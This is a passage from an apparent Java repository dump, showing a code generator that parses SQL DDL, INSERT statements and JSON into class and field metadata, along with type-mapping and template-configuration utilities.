(commentTmp2.contains(\",\")) {\n                String commentTmpFinal = commentTmp2.replaceAll(\",\", \"，\").replaceAll(\"\\\\(\", \"（\").replaceAll(\"\\\\)\", \"）\");\n                fieldListTmp = fieldListTmp.replace(matcher2.group(), commentTmpFinal);\n            }\n        }\n        //2018-10-18 zhengkai 新增支持double(10, 2)等类型中有英文逗号的特殊情况\n        String commentPattenStr3 = \"\\\\((.*?)\\\\)\";\n        Matcher matcher3 = Pattern.compile(commentPattenStr3).matcher(fieldListTmp);\n        while (matcher3.find()) {\n            String commentTmp3 = matcher3.group();\n            if (commentTmp3.contains(\",\")) {\n                String commentTmpFinal = commentTmp3.replaceAll(\",\", \"，\");\n                fieldListTmp = fieldListTmp.replace(matcher3.group(), commentTmpFinal);\n            }\n        }\n        String[] fieldLineList = fieldListTmp.split(\",\");\n        if (fieldLineList.length > 0) {\n            int i = 0;\n            //i为了解决primary key关键字出现的地方，出现在前3行，一般和id有关\n            for (String columnLine0 : fieldLineList) {\n                NonCaseString columnLine = NonCaseString.of(columnLine0);\n                i++;\n                columnLine = columnLine.replaceAll(\"\\n\", \"\").replaceAll(\"\\t\", \"\").trim();\n                // `userid` int(11) NOT NULL AUTO_INCREMENT COMMENT '用户ID',\n                // 2018-9-18 zhengk 修改为contains，提升匹配率和匹配不按照规矩出牌的语句\n                // 2018-11-8 zhengkai 修复tornadoorz反馈的KEY FK_permission_id (permission_id),KEY FK_role_id (role_id)情况\n                // 2019-2-22 zhengkai 要在条件中使用复杂的表达式\n                // 2019-4-29 zhengkai 优化对普通和特殊storage关键字的判断（感谢@AhHeadFloating的反馈 ）\n                // 2020-10-20 zhengkai 优化对fulltext/index关键字的处理（感谢@WEGFan的反馈）\n                // 2023-8-27 L&J 改用工具方法判断, 且修改变量名(非特殊标识), 方法抽取\n                boolean notSpecialFlag = isNotSpecialColumnLine(columnLine, i);\n\n                if (notSpecialFlag) {\n                    //如果是oracle的number(x,x)，可能出现最后分割残留的,x)，这里做排除处理\n                    if (columnLine.length() < 5) {\n                        continue;\n                    }\n                    //2018-9-16 zhengkai 支持'符号以及空格的oracle语句// userid` int(11) NOT NULL AUTO_INCREMENT COMMENT '用户ID',\n                    String columnName = \"\";\n                    columnLine = columnLine.replaceAll(\"`\", \" \").replaceAll(\"\\\"\", \" \").replaceAll(\"'\", \"\").replaceAll(\"  \", \" \").trim();\n                    //如果遇到username varchar(65) default '' not null,这种情况，判断第一个空格是否比第一个引号前\n                    try {\n                        columnName = columnLine.substring(0, columnLine.indexOf(\" \")).get();\n                    } catch (StringIndexOutOfBoundsException e) {\n                        System.out.println(\"err happened: \" + columnLine);\n                        throw e;\n                    }\n\n                    // field Name\n                    // 2019-09-08 yj 添加是否下划线转换为驼峰的判断\n                    // 2023-8-27 L&J 支持原始列名任意命名风格, 不依赖用户是否输入下划线\n                    String fieldName = null;\n                    if (ParamInfo.NAME_CASE_TYPE.CAMEL_CASE.equals(nameCaseType)) {\n                        // 2024-1-27 L&J 适配任意(maybe)原始风格转小写驼峰\n                        fieldName = StringUtils.toLowerCamel(columnName);\n                    } else if (ParamInfo.NAME_CASE_TYPE.UNDER_SCORE_CASE.equals(nameCaseType)) {\n                        fieldName = StringUtils.toUnderline(columnName, false);\n                    } else if (ParamInfo.NAME_CASE_TYPE.UPPER_UNDER_SCORE_CASE.equals(nameCaseType)) {\n                        fieldName = StringUtils.toUnderline(columnName.toUpperCase(), true);\n                    } else {\n                        fieldName = columnName;\n                    }\n                    columnLine = columnLine.substring(columnLine.indexOf(\"`\") + 1).trim();\n                    String mysqlType = columnLine.split(\"\\\\s+\")[1];\n                    if(mysqlType.contains(\"(\")){\n                        mysqlType = mysqlType.substring(0, mysqlType.indexOf(\"(\"));\n                    }\n                    //swagger class\n                    String swaggerClass = \"string\" ;\n                    if(mysqlJavaTypeUtil.getMysqlSwaggerTypeMap().containsKey(mysqlType)){\n                        swaggerClass = mysqlJavaTypeUtil.getMysqlSwaggerTypeMap().get(mysqlType);\n                    }\n                    // field class\n                    // int(11) NOT NULL AUTO_INCREMENT COMMENT '用户ID',\n                    String fieldClass = \"String\";\n                    //2018-9-16 zhengk 补充char/clob/blob/json等类型，如果类型未知，默认为String\n                    //2018-11-22 lshz0088 处理字段类型的时候，不严谨columnLine.contains(\" int\") 类似这种的，可在前后适当加一些空格之类的加以区分，否则当我的字段包含这些字符的时候，产生类型判断问题。\n                    //2020-05-03 MOSHOW.K.ZHENG 优化对所有类型的处理\n                    //2020-10-20 zhengkai 新增包装类型的转换选择\n                    if(mysqlJavaTypeUtil.getMysqlJavaTypeMap().containsKey(mysqlType)){\n                        fieldClass = mysqlJavaTypeUtil.getMysqlJavaTypeMap().get(mysqlType);\n                    }\n                    // field comment，MySQL的一般位于field行，而pgsql和oralce多位于后面。\n                    String fieldComment = null;\n                    if (tableSql.contains(\"comment on column\") && (tableSql.contains(\".\" + columnName + \" is \") || tableSql.contains(\".`\" + columnName + \"` is\"))) {\n                        //新增对pgsql/oracle的字段备注支持\n                        //COMMENT ON COLUMN public.check_info.check_name IS '检查者名称';\n                        //2018-11-22 lshz0088 正则表达式的点号前面应该加上两个反斜杠，否则会认为是任意字符\n                        //2019-4-29 zhengkai 优化对oracle注释comment on column的支持（@liukex）\n                        tableSql = tableSql.replaceAll(\".`\" + columnName + \"` is\", \".\" + columnName + \" is\");\n                        Matcher columnCommentMatcher = Pattern.compile(\"\\\\.\" + columnName + \" is `\").matcher(tableSql);\n                        fieldComment = columnName;\n                        while (columnCommentMatcher.find()) {\n                            String columnCommentTmp = columnCommentMatcher.group();\n                            //System.out.println(columnCommentTmp);\n                            fieldComment = tableSql.substring(tableSql.indexOf(columnCommentTmp) + columnCommentTmp.length()).trim().get();\n                            fieldComment = fieldComment.substring(0, fieldComment.indexOf(\"`\")).trim();\n                        }\n                    } else if (columnLine.contains(\" comment\")) {\n                        //20200518 zhengkai 修复包含comment关键字的问题\n                        String commentTmp = columnLine.substring(columnLine.lastIndexOf(\"comment\") + 7).trim().get();\n                        // '用户ID',\n                        if (commentTmp.contains(\"`\") || commentTmp.indexOf(\"`\") != commentTmp.lastIndexOf(\"`\")) {\n                            commentTmp = commentTmp.substring(commentTmp.indexOf(\"`\") + 1, commentTmp.lastIndexOf(\"`\"));\n                        }\n                        //解决最后一句是评论，无主键且连着)的问题:album_id int(3) default '1' null comment '相册id：0 代表头像 1代表照片墙')\n                        if (commentTmp.contains(\")\")) {\n                            commentTmp = commentTmp.substring(0, commentTmp.lastIndexOf(\")\") + 1);\n                        }\n                        fieldComment = commentTmp;\n                    } else {\n                        //修复comment不存在导致报错的问题\n                        fieldComment = columnName;\n                    }\n\n                    FieldInfo fieldInfo = new FieldInfo();\n                    //\n                    fieldInfo.setColumnName(columnName);\n                    fieldInfo.setFieldName(fieldName);\n                    fieldInfo.setFieldClass(fieldClass);\n                    fieldInfo.setSwaggerClass(swaggerClass);\n                    fieldInfo.setFieldComment(fieldComment);\n\n                    fieldList.add(fieldInfo);\n                }\n            }\n        }\n\n        if (fieldList.size() < 1) {\n            throw new CodeGenerateException(\"表结构分析失败，请检查语句或者提交issue给我\");\n        }\n\n        ClassInfo codeJavaInfo = new ClassInfo();\n        codeJavaInfo.setTableName(tableName);\n        codeJavaInfo.setClassName(className);\n        codeJavaInfo.setClassComment(classComment);\n        codeJavaInfo.setFieldList(fieldList);\n        codeJavaInfo.setOriginTableName(originTableName);\n\n        return codeJavaInfo;\n    }\n\n    private static boolean isNotSpecialColumnLine(NonCaseString columnLine, int lineSeq) {\n        return (\n                !columnLine.containsAny(\n                        \"key \",\n                        \"constraint\",\n                        \" using \",\n                        \"unique \",\n                        \"fulltext \",\n                        \"index \",\n                        \"pctincrease\",\n                        \"buffer_pool\",\n                        \"tablespace\"\n                )\n                && !(columnLine.contains(\"primary \") && columnLine.indexOf(\"storage\") + 3 > columnLine.indexOf(\"(\"))\n                && !(columnLine.contains(\"primary \") && lineSeq > 3)\n        );\n    }\n\n    /**\n     * 解析JSON生成类信息\n     *\n     * @param paramInfo\n     * @return\n     */\n    public static ClassInfo processJsonToClassInfo(ParamInfo paramInfo) {\n        ClassInfo codeJavaInfo = new ClassInfo();\n        codeJavaInfo.setTableName(\"JsonDto\");\n        codeJavaInfo.setClassName(\"JsonDto\");\n        codeJavaInfo.setClassComment(\"JsonDto\");\n\n        //support children json if forget to add '{' in front of json\n        if (paramInfo.getTableSql().trim().startsWith(\"\\\"\")) {\n            paramInfo.setTableSql(\"{\" + paramInfo.getTableSql());\n        }\n        if (JSON.isValid(paramInfo.getTableSql())) {\n            if (paramInfo.getTableSql().trim().startsWith(\"{\")) {\n                JSONObject jsonObject = JSONObject.parseObject(paramInfo.getTableSql().trim());\n                //parse FieldList by JSONObject\n                codeJavaInfo.setFieldList(processJsonObjectToFieldList(jsonObject));\n            } else if (paramInfo.getTableSql().trim().startsWith(\"[\")) {\n                JSONArray jsonArray = JSONArray.parseArray(paramInfo.getTableSql().trim());\n                //parse FieldList by JSONObject\n                codeJavaInfo.setFieldList(processJsonObjectToFieldList(jsonArray.getJSONObject(0)));\n            }\n        }\n\n        return codeJavaInfo;\n    }\n\n    /**\n     * parse SQL by regex\n     *\n     * @param paramInfo\n     * @return\n     * @author https://github.com/ydq\n     */\n    public static ClassInfo processTableToClassInfoByRegex(ParamInfo paramInfo) {\n        // field List\n        List<FieldInfo> fieldList = new ArrayList<FieldInfo>();\n        //return classInfo\n        ClassInfo codeJavaInfo = new ClassInfo();\n\n        //匹配整个ddl，将ddl分为表名，列sql部分，表注释\n        String DDL_PATTEN_STR = \"\\\\s*create\\\\s+table\\\\s+(?<tableName>\\\\S+)[^\\\\(]*\\\\((?<columnsSQL>[\\\\s\\\\S]+)\\\\)[^\\\\)]+?(comment\\\\s*(=|on\\\\s+table)\\\\s*'(?<tableComment>.*?)'\\\\s*;?)?$\";\n\n        Pattern DDL_PATTERN = Pattern.compile(DDL_PATTEN_STR, Pattern.CASE_INSENSITIVE);\n\n        //匹配列sql部分，分别解析每一列的列名 类型 和列注释\n        String COL_PATTERN_STR = \"\\\\s*(?<fieldName>\\\\S+)\\\\s+(?<fieldType>\\\\w+)\\\\s*(?:\\\\([\\\\s\\\\d,]+\\\\))?((?!comment).)*(comment\\\\s*'(?<fieldComment>.*?)')?\\\\s*(,|$)\";\n\n        Pattern COL_PATTERN = Pattern.compile(COL_PATTERN_STR, Pattern.CASE_INSENSITIVE);\n\n        Matcher matcher = DDL_PATTERN.matcher(paramInfo.getTableSql().trim());\n        if (matcher.find()) {\n            String tableName = matcher.group(\"tableName\");\n            String tableComment = matcher.group(\"tableComment\");\n            codeJavaInfo.setTableName(tableName.replaceAll(\"'\", \"\"));\n            codeJavaInfo.setClassName(tableName.replaceAll(\"'\", \"\"));\n            codeJavaInfo.setClassComment(tableComment.replaceAll(\"'\", \"\"));\n            String columnsSQL = matcher.group(\"columnsSQL\");\n            if (columnsSQL != null && columnsSQL.length() > 0) {\n                Matcher colMatcher = COL_PATTERN.matcher(columnsSQL);\n                while (colMatcher.find()) {\n                    String fieldName = colMatcher.group(\"fieldName\");\n                    String fieldType = colMatcher.group(\"fieldType\");\n                    String fieldComment = colMatcher.group(\"fieldComment\");\n                    if (!\"key\".equalsIgnoreCase(fieldType)) {\n                        FieldInfo fieldInfo = new FieldInfo();\n                        fieldInfo.setFieldName(fieldName.replaceAll(\"'\", \"\"));\n                        fieldInfo.setColumnName(fieldName.replaceAll(\"'\", \"\"));\n                        fieldInfo.setFieldClass(fieldType.replaceAll(\"'\", \"\"));\n                        fieldInfo.setFieldComment(fieldComment.replaceAll(\"'\", \"\"));\n                        fieldList.add(fieldInfo);\n                    }\n                }\n            }\n            codeJavaInfo.setFieldList(fieldList);\n        }\n        return codeJavaInfo;\n    }\n\n    public static List<FieldInfo> processJsonObjectToFieldList(JSONObject jsonObject) {\n        // field List\n        List<FieldInfo> fieldList = new ArrayList<FieldInfo>();\n        jsonObject.keySet().stream().forEach(jsonField -> {\n            FieldInfo fieldInfo = new FieldInfo();\n            fieldInfo.setFieldName(jsonField);\n            fieldInfo.setColumnName(jsonField);\n            fieldInfo.setFieldClass(String.class.getSimpleName());\n            fieldInfo.setFieldComment(\"father:\" + jsonField);\n            fieldList.add(fieldInfo);\n            if (jsonObject.get(jsonField) instanceof JSONArray) {\n                jsonObject.getJSONArray(jsonField).stream().forEach(arrayObject -> {\n                    FieldInfo fieldInfo2 = new FieldInfo();\n                    fieldInfo2.setFieldName(arrayObject.toString());\n                    fieldInfo2.setColumnName(arrayObject.toString());\n                    fieldInfo2.setFieldClass(String.class.getSimpleName());\n                    fieldInfo2.setFieldComment(\"children:\" + arrayObject.toString());\n                    fieldList.add(fieldInfo2);\n                });\n            } else if (jsonObject.get(jsonField) instanceof JSONObject) {\n                jsonObject.getJSONObject(jsonField).keySet().stream().forEach(arrayObject -> {\n                    FieldInfo fieldInfo2 = new FieldInfo();\n                    fieldInfo2.setFieldName(arrayObject.toString());\n                    fieldInfo2.setColumnName(arrayObject.toString());\n                    fieldInfo2.setFieldClass(String.class.getSimpleName());\n                    fieldInfo2.setFieldComment(\"children:\" + arrayObject.toString());\n                    fieldList.add(fieldInfo2);\n                });\n            }\n        });\n        if (fieldList.size() < 1) {\n            throw new CodeGenerateException(\"JSON解析失败\");\n        }\n        return fieldList;\n    }\n\n    public static ClassInfo processInsertSqlToClassInfo(ParamInfo paramInfo) {\n        // field List\n        List<FieldInfo> fieldList = new ArrayList<FieldInfo>();\n        //return classInfo\n        ClassInfo codeJavaInfo = new ClassInfo();\n\n        //get origin sql\n        String fieldSqlStr = paramInfo.getTableSql().toLowerCase().trim();\n        fieldSqlStr = fieldSqlStr.replaceAll(\"  \", \" \").replaceAll(\"\\\\\\\\n`\", \"\")\n                .replaceAll(\"\\\\+\", \"\").replaceAll(\"``\", \"`\").replaceAll(\"\\\\\\\\\", \"\");\n        String valueStr = fieldSqlStr.substring(fieldSqlStr.lastIndexOf(\"values\") + 6).replaceAll(\" \", \"\").replaceAll(\"\\\\(\", \"\").replaceAll(\"\\\\)\", \"\");\n        //get the string between insert into and values\n        fieldSqlStr = fieldSqlStr.substring(0, fieldSqlStr.lastIndexOf(\"values\"));\n\n        System.out.println(fieldSqlStr);\n\n        String insertSqlPattenStr = \"insert into (?<tableName>.*) \\\\((?<columnsSQL>.*)\\\\)\";\n        //String DDL_PATTEN_STR=\"\\\\s*create\\\\s+table\\\\s+(?<tableName>\\\\S+)[^\\\\(]*\\\\((?<columnsSQL>[\\\\s\\\\S]+)\\\\)[^\\\\)]+?(comment\\\\s*(=|on\\\\s+table)\\\\s*'(?<tableComment>.*?)'\\\\s*;?)?$\";\n\n        Matcher matcher1 = Pattern.compile(insertSqlPattenStr).matcher(fieldSqlStr);\n        while (matcher1.find()) {\n\n            String tableName = matcher1.group(\"tableName\");\n            //System.out.println(\"tableName:\"+tableName);\n            codeJavaInfo.setClassName(tableName);\n            codeJavaInfo.setTableName(tableName);\n\n            String columnsSQL = matcher1.group(\"columnsSQL\");\n            //System.out.println(\"columnsSQL:\"+columnsSQL);\n\n            List<String> valueList = new ArrayList<>();\n            //add values as comment\n            Arrays.stream(valueStr.split(\",\")).forEach(column -> {\n                valueList.add(column);\n            });\n            AtomicInteger n = new AtomicInteger(0);\n            //add column to fleldList\n            Arrays.stream(columnsSQL.replaceAll(\" \", \"\").split(\",\")).forEach(column -> {\n                FieldInfo fieldInfo2 = new FieldInfo();\n                fieldInfo2.setFieldName(column);\n                fieldInfo2.setColumnName(column);\n                fieldInfo2.setFieldClass(String.class.getSimpleName());\n                if (n.get() < valueList.size()) {\n                    fieldInfo2.setFieldComment(column + \" , eg.\" + valueList.get(n.get()));\n                }\n                fieldList.add(fieldInfo2);\n                n.getAndIncrement();\n            });\n\n        }\n        if (fieldList.size() < 1) {\n            throw new CodeGenerateException(\"INSERT SQL解析失败\");\n        }\n        codeJavaInfo.setFieldList(fieldList);\n        return codeJavaInfo;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/util/ValueUtil.java",
    "content": "//package io.github.wujun728.generator.util;\n//\n//import lombok.Data;\n//import org.springframework.beans.factory.annotation.Value;\n//import org.springframework.stereotype.Component;\n//\n///**\n// */\n//@Data\n//@Component\n//public class ValueUtil {\n//    @Value(\"${configMap.title}\")\n//    public String title;\n//\n//    @Value(\"${configMap.header}\")\n//    public String header;\n//\n//    @Value(\"${configMap.version}\")\n//    public String version;\n//\n//    @Value(\"${configMap.author}\")\n//    public String author;\n//\n//    @Value(\"${configMap.keywords}\")\n//    public String keywords;\n//\n//    @Value(\"${configMap.slogan}\")\n//    public String slogan;\n//\n//    @Value(\"${configMap.copyright}\")\n//    public String copyright;\n//\n//    @Value(\"${configMap.description}\")\n//    public String description;\n//\n//    @Value(\"${configMap.packageName}\")\n//    public String packageName;\n//\n//    @Value(\"${configMap.returnUtilSuccess}\")\n//    public String returnUtilSuccess;\n//\n//    @Value(\"${configMap.returnUtilFailure}\")\n//    public String returnUtilFailure;\n//\n//    @Value(\"${configMap.outputStr}\")\n//    public String outputStr;\n//\n//    @Value(\"${configMap.mode}\")\n//    public String mode;\n//}\n//\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/util/mysqlJavaTypeUtil.java",
    "content": "package io.github.wujun728.generator.util;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic final class mysqlJavaTypeUtil {\n    public static final  HashMap<String, String> mysqlJavaTypeMap = new HashMap<String, String>();\n    public static final  HashMap<String, String> mysqlSwaggerTypeMap =new HashMap<String, String>();\n\n    static{\n        mysqlJavaTypeMap.put(\"bigint\",\"Long\");\n        mysqlJavaTypeMap.put(\"int\",\"Integer\");\n        mysqlJavaTypeMap.put(\"tinyint\",\"Integer\");\n        mysqlJavaTypeMap.put(\"smallint\",\"Integer\");\n        mysqlJavaTypeMap.put(\"mediumint\",\"Integer\");\n        mysqlJavaTypeMap.put(\"integer\",\"Integer\");\n        //小数\n        mysqlJavaTypeMap.put(\"float\",\"Float\");\n        mysqlJavaTypeMap.put(\"double\",\"Double\");\n        mysqlJavaTypeMap.put(\"decimal\",\"Double\");\n        //bool\n        mysqlJavaTypeMap.put(\"bit\",\"Boolean\");\n        //字符串\n        mysqlJavaTypeMap.put(\"char\",\"String\");\n        mysqlJavaTypeMap.put(\"varchar\",\"String\");\n        mysqlJavaTypeMap.put(\"tinytext\",\"String\");\n        mysqlJavaTypeMap.put(\"text\",\"String\");\n        mysqlJavaTypeMap.put(\"mediumtext\",\"String\");\n        mysqlJavaTypeMap.put(\"longtext\",\"String\");\n        //日期\n        mysqlJavaTypeMap.put(\"date\",\"Date\");\n        mysqlJavaTypeMap.put(\"datetime\",\"Date\");\n        mysqlJavaTypeMap.put(\"timestamp\",\"Date\");\n\n\n        mysqlSwaggerTypeMap.put(\"bigint\",\"integer\");\n        mysqlSwaggerTypeMap.put(\"int\",\"integer\");\n        mysqlSwaggerTypeMap.put(\"tinyint\",\"integer\");\n        mysqlSwaggerTypeMap.put(\"smallint\",\"integer\");\n        mysqlSwaggerTypeMap.put(\"mediumint\",\"integer\");\n        mysqlSwaggerTypeMap.put(\"integer\",\"integer\");\n        mysqlSwaggerTypeMap.put(\"boolean\",\"boolean\");\n        mysqlSwaggerTypeMap.put(\"float\",\"number\");\n        mysqlSwaggerTypeMap.put(\"double\",\"number\");\n        mysqlSwaggerTypeMap.put(\"decimal\",\"Double\");\n    }\n\n    public static HashMap<String, String> getMysqlJavaTypeMap() {\n        return mysqlJavaTypeMap;\n    }\n\n    public static HashMap<String, String> getMysqlSwaggerTypeMap() {\n        return mysqlSwaggerTypeMap;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/utils/CodeGeneratorMain.java",
    "content": "package io.github.wujun728.generator.utils;\n\nimport com.google.common.collect.Lists;\nimport com.google.common.collect.Maps;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * 代码生成器，根据DatabaseMetaData及数据表名称生成对应的Model、Mapper、Service、Controller简化基础代码逻辑开发。\n * @author Wujun\n */\npublic class CodeGeneratorMain {\n\n    public static void main(String[] args) throws Exception {\n//\t\tString tables = \"res_basc,res_basc_arg,api_config\";\n//\t\tString tables = \"git_user\";\n        Map config = Maps.newHashMap();\n        config.put(\"authorName\",\"Wujun\");\n        config.put(\"packageName\",\"com.bjc.lcp.app1\");\n        config.put(\"template_path\",\"D:\\\\gitee\\\\jun_java_plugin\\\\jun_springcloud_starter\\\\jun-db-activerecord\\\\src\\\\main\\\\resources\\\\code-generator\\\\mybatis-plus-single-v2\");\n        config.put(\"output_path\",\"D:\\\\gitee\\\\jun_java_plugin\\\\jun_springcloud_starter\\\\jun-db-activerecord\");\n        config.put(\"userDefaultTemplate\",\"false\");\n        config.put(\"jdbc.url\",\"jdbc:mysql://localhost:3306/db_qixing_bk?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\");\n        config.put(\"jdbc.username\",\"root\");\n        config.put(\"jdbc.password\",\"\");\n        config.put(\"jdbc.driver\",\"com.mysql.cj.jdbc.Driver\");\n        config.put(\"packageName\",\"com.bjc.lcp.app\");\n        config.put(\"userDefaultTemplate\",\"false\");\n        config.put(\"isLombok\",\"true\");\n        config.put(\"isSwagger\",\"true\");\n        GeneratorUtil.setTemplates(getTemplates());\n        GeneratorUtil.initConfig(config);\n        GeneratorUtil.genCode(\"biz_mail\");\n    }\n\n    public static List<String> getTemplates() {\n        List<String> templates = Lists.newArrayList();\n        templates.add(\"controller.java.ftl\");\n        templates.add(\"entity.java.ftl\");\n        templates.add(\"mapper.java.ftl\");\n        templates.add(\"service.java.ftl\");\n        templates.add(\"dto.java.ftl\");\n        templates.add(\"vo.java.ftl\");\n        templates.add(\"service.impl.java.ftl\");\n        return templates;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/utils/FreemarkerTool.java",
    "content": "//package io.github.wujun728.generator.util;\n//\n//import freemarker.template.Configuration;\n//import freemarker.template.Template;\n//import freemarker.template.TemplateException;\n//import org.slf4j.Logger;\n//import org.slf4j.LoggerFactory;\n//import org.springframework.beans.factory.annotation.Autowired;\n//import org.springframework.stereotype.Component;\n//\n//import java.io.IOException;\n//import java.io.StringWriter;\n//import java.util.Map;\n//\n///**\n// * freemarker tool\n// *\n// */\n//@Component\n//public class FreemarkerTool {\n//    private static final Logger logger = LoggerFactory.getLogger(FreemarkerTool.class);\n//\n//    @Autowired\n//    private Configuration configuration;\n//\n//    /**\n//     * process Template Into String\n//     *\n//     * @param template\n//     * @param model\n//     * @return\n//     * @throws IOException\n//     * @throws TemplateException\n//     */\n//    public String processTemplateIntoString(Template template, Object model)\n//            throws IOException, TemplateException {\n//\n//        StringWriter result = new StringWriter();\n//        template.process(model, result);\n//        return result.toString();\n//    }\n//\n//    /**\n//     * process String\n//     *\n//     * @param templateName\n//     * @param params\n//     * @return\n//     * @throws IOException\n//     * @throws TemplateException\n//     */\n//    public String processString(String templateName, Map<String, Object> params)\n//            throws IOException, TemplateException {\n//\n//        Template template = configuration.getTemplate(templateName);\n//        String htmlText = processTemplateIntoString(template, params);\n//        return htmlText;\n//    }\n//\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/utils/GeneratorUtil.java",
    "content": "package io.github.wujun728.generator.utils;\n\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.io.file.FileNameUtil;\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.IdUtil;\nimport cn.hutool.db.meta.Column;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport cn.hutool.log.StaticLog;\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.google.common.collect.Lists;\nimport freemarker.cache.StringTemplateLoader;\nimport freemarker.template.Template;\nimport freemarker.template.TemplateException;\nimport freemarker.template.TemplateExceptionHandler;\nimport io.github.wujun728.generator.entity.ClassInfo;\nimport io.github.wujun728.generator.entity.FieldInfo;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.util.CollectionUtils;\n\nimport javax.sql.DataSource;\nimport java.io.*;\nimport java.util.*;\n\n\n/**\n * 代码生成器 工具类\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@Slf4j\npublic class GeneratorUtil {\n\n\n\tprivate static final Logger logger = LoggerFactory.getLogger(GeneratorUtil.class);\n\n\tprivate static DataSource dataSource;\n\tpublic static Map config; // 配置文件\n\tpublic static List<String> templates; // 模板文件\n\tpublic static List<String> filePaths; // 生成文件名\n\n    public static void init() {\n\t\tif(CollectionUtils.isEmpty(config)){\n\t\t\t//PropertiesUtil.loadProps(\"config-v2.properties\");\n\t\t\tconfig = new HashMap<>();\n\t\t\tconfig.put(\"template_path\",\"D:\\\\\");\n\t\t\tconfig.put(\"output_path\",\"D:\\\\\");\n\t\t\tconfig.put(\"jdbc.url\",\"\");\n\t\t\tconfig.put(\"jdbc.username\",\"root\");\n\t\t\tconfig.put(\"jdbc.password\",\"\");\n\t\t\tconfig.put(\"jdbc.driver\",\"com.mysql.cj.jdbc.Driver\");\n\t\t\tconfig.put(\"packageName\",\"com.bjc.lcp.app\");\n\t\t\tconfig.put(\"userDefaultTemplate\",\"true\");\n\t\t\tconfig.put(\"authorName\",\"Wujun\");\n\t\t\tconfig.put(\"isLombok\",\"true\");\n\t\t\tconfig.put(\"isSwagger\",\"true\");\n\t\t\tconfig.put(\"isAutoImport\",\"true\");\n\t\t\tconfig.put(\"isWithPackage\",\"true\");\n\t\t\tconfig.put(\"isComment\",\"true\");\n\t\t\tconfig.put(\"className\",\"${className}Controller.subfix.ftl\");\n\t\t\tconfig.put(\"javaPath\",\"src/main/java\");\n\t\t\tconfig.put(\"resourcesPath\",\"src/main/resources\");\n\t\t\tconfig.put(\"tableRemovePrefixes\",\"T_AR,T_BD,T_CD,T_PD,T_CL,T_IP,T_LO,T_RI,T_EV,T_,\");\n\t\t\tconfig.put(\"rowRemovePrefixes\",\"S_,B_,I_,DT_,TS_,M_,F_,PK_I_N,PK_I_S\");\n\t\t\tconfig.put(\"java.sql.Timestamp\",\"Date\");\n\t\t\tconfig.put(\"java.sql.Date\",\"Date\");\n\t\t\tconfig.put(\"java.sql.Time\",\"Date\");\n\t\t\tconfig.put(\"java.util.Date\",\"Date\");\n\t\t\tconfig.put(\"java.lang.Byte\",\"Integer\");\n\t\t\tconfig.put(\"java.lang.Short\",\"Integer\");\n\t\t\tconfig.put(\"java.lang.Integer\",\"Integer\");\n\t\t\tconfig.put(\"java.lang.Long\",\"Long\");\n\t\t\tconfig.put(\"java.lang.String\",\"String\");\n\t\t\tconfig.put(\"java.math.BigDecimal\",\"java.math.BigDecimal\");\n\t\t\t//props.putAll(PropertiesUtil.getAllProperty());\n\t\t}\n\t}\n    public static String getConfig(String key) {\n\t\tString val = MapUtil.getStr(config,key);\n\t\treturn val;\n\t}\n    public static List<String> getFilePaths(List<String> templates, ClassInfo classInfo) {\n        List<String> filePaths = new ArrayList<>();\n\t\tfor(String template : templates){\n\t\t\tString path_tmep = FileNameUtil.getName(template).replace(\".ftl\",\"\");\n\t\t\tString filename_resc = path_tmep;\n\t\t\t//String package3Path = String.format(\"/%s/\", path1.contains(\".\") ? path1.replaceAll(\"\\\\.\", \"/\") : path1);\n\t\t\tif(template.contains(\".java\")){\n\t\t\t\tString path1 = path_tmep.substring(0,path_tmep.lastIndexOf(\".\"));\n\t\t\t\tString filename_tmep = upperCaseFirstWordV2(path1);\n\t\t\t\tString packageName = getConfig(\"packageName\")+\".\"+path1;\n\t\t\t\tString package2Path = String.format(\"/%s/\", packageName.contains(\".\") ? packageName.replaceAll(\"\\\\.\", \"/\") : packageName);\n\t\t\t\tfilePaths.add(getConfig(\"output_path\") +File.separator+ getConfig(\"javaPath\") + package2Path + classInfo.getClassName() + filename_tmep + \".java\");\n\t\t\t}else{\n\t\t\t\tfilePaths.add(getConfig(\"output_path\") +File.separator+ getConfig(\"resourcesPath\") + File.separator+classInfo.getClassName() +File.separator+ filename_resc );\n\t\t\t}\n\t\t}\n        return filePaths;\n    }\n\n//\tpublic static void getFile(String path, List<Map<String, Object>> list) {\n//\t\tFile file = new File(path);\n//\t\tFile[] array = file.listFiles();\n//\t\tfor (int i = 0; i < array.length; i++) {\n//\t\t\tif (array[i].isFile()) {\n//\t\t\t\tMap<String, Object> map = new HashMap<String, Object>();\n//\t\t\t\t// only take file name\n//\t\t\t\t// System.out.println(\"^^^^^\" + array[i].getName());\n//\t\t\t\t// take file path and name\n//\t\t\t\t// System.out.println(\"*****\" + array[i].getPath());\n//\t\t\t\tmap.put(array[i].getName(), array[i].getPath());\n//\t\t\t\tlist.add(map);\n//\t\t\t} else if (array[i].isDirectory()) {\n//\t\t\t\tgetFile(array[i].getPath(), list);\n//\t\t\t}\n//\t\t}\n//\t}\n\n\tpublic static String replace_(String str) {\n\t\t// 根据下划线分割\n\t\tString[] split = str.split(\"_\");\n\t\t// 循环组装\n\t\tString result = split[0];\n\t\tif (split.length > 1) {\n\t\t\tfor (int i = 1; i < split.length; i++) {\n\t\t\t\tresult += firstUpper(split[i]);\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t}\n\n\tpublic static String firstUpper(String str) {\n\t\t// log.info(\"str:\"+str+\",str.length=\"+str.length());\n\t\tif 